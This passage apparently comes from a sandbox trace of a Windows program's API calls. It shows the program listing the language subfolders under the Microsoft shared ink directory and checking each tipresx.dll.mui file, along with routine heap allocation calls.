(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0123.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.256] GetCurrentThreadId () returned 0x9b0 [0123.256] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0123.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0123.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.257] GetCurrentThreadId () returned 0x9b0 [0123.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.257] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0123.257] GetCurrentThreadId () returned 0x9b0 [0123.257] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.258] GetCurrentThreadId () returned 0x9b0 [0123.258] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.258] GetCurrentThreadId () returned 0x9b0 [0123.258] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.258] GetCurrentThreadId () returned 0x9b0 [0123.258] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0123.258] GetCurrentThreadId () returned 0x9b0 [0123.258] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0123.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0123.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.259] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.260] GetCurrentThreadId () returned 0x9b0 [0123.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.260] GetCurrentThreadId () returned 0x9b0 [0123.260] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0123.260] GetCurrentThreadId () returned 0x9b0 [0123.260] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.261] GetCurrentThreadId () returned 0x9b0 [0123.261] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.261] GetCurrentThreadId () returned 0x9b0 [0123.261] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.261] GetCurrentThreadId () returned 0x9b0 [0123.261] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0123.261] GetCurrentThreadId () returned 0x9b0 [0123.261] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0123.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0123.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.262] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.262] GetCurrentThreadId () returned 0x9b0 [0123.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.262] GetCurrentThreadId () returned 0x9b0 [0123.263] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0123.263] GetCurrentThreadId () returned 0x9b0 [0123.263] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.263] GetCurrentThreadId () returned 0x9b0 [0123.263] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.263] GetCurrentThreadId () returned 0x9b0 [0123.263] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.264] GetCurrentThreadId () returned 0x9b0 [0123.264] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0123.264] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0123.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0123.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.264] GetCurrentThreadId () returned 0x9b0 [0123.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.264] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.265] GetCurrentThreadId () returned 0x9b0 [0123.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.265] GetCurrentThreadId () returned 0x9b0 [0123.265] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0123.265] GetCurrentThreadId () returned 0x9b0 [0123.265] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.266] GetCurrentThreadId () returned 0x9b0 [0123.266] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.266] GetCurrentThreadId () returned 0x9b0 [0123.266] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.266] GetCurrentThreadId () returned 0x9b0 [0123.266] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0123.266] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0123.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0123.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0123.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.267] GetCurrentThreadId () returned 0x9b0 [0123.267] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.267] GetCurrentThreadId () returned 0x9b0 [0123.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.267] GetCurrentThreadId () returned 0x9b0 [0123.268] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0123.268] GetCurrentThreadId () returned 0x9b0 [0123.268] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.268] GetCurrentThreadId () returned 0x9b0 [0123.268] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.268] GetCurrentThreadId () returned 0x9b0 [0123.268] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.269] GetCurrentThreadId () returned 0x9b0 [0123.269] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0123.269] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0123.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0123.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.269] GetCurrentThreadId () returned 0x9b0 [0123.269] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.270] GetCurrentThreadId () returned 0x9b0 [0123.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0123.270] GetCurrentThreadId () returned 0x9b0 [0123.270] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0123.270] GetCurrentThreadId () returned 0x9b0 [0123.270] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.271] GetCurrentThreadId () returned 0x9b0 [0123.271] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.271] GetCurrentThreadId () returned 0x9b0 [0123.271] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.271] GetCurrentThreadId () returned 0x9b0 [0123.271] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0123.271] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0123.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0123.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.272] GetCurrentThreadId () returned 0x9b0 [0123.272] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.272] GetCurrentThreadId () returned 0x9b0 [0123.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 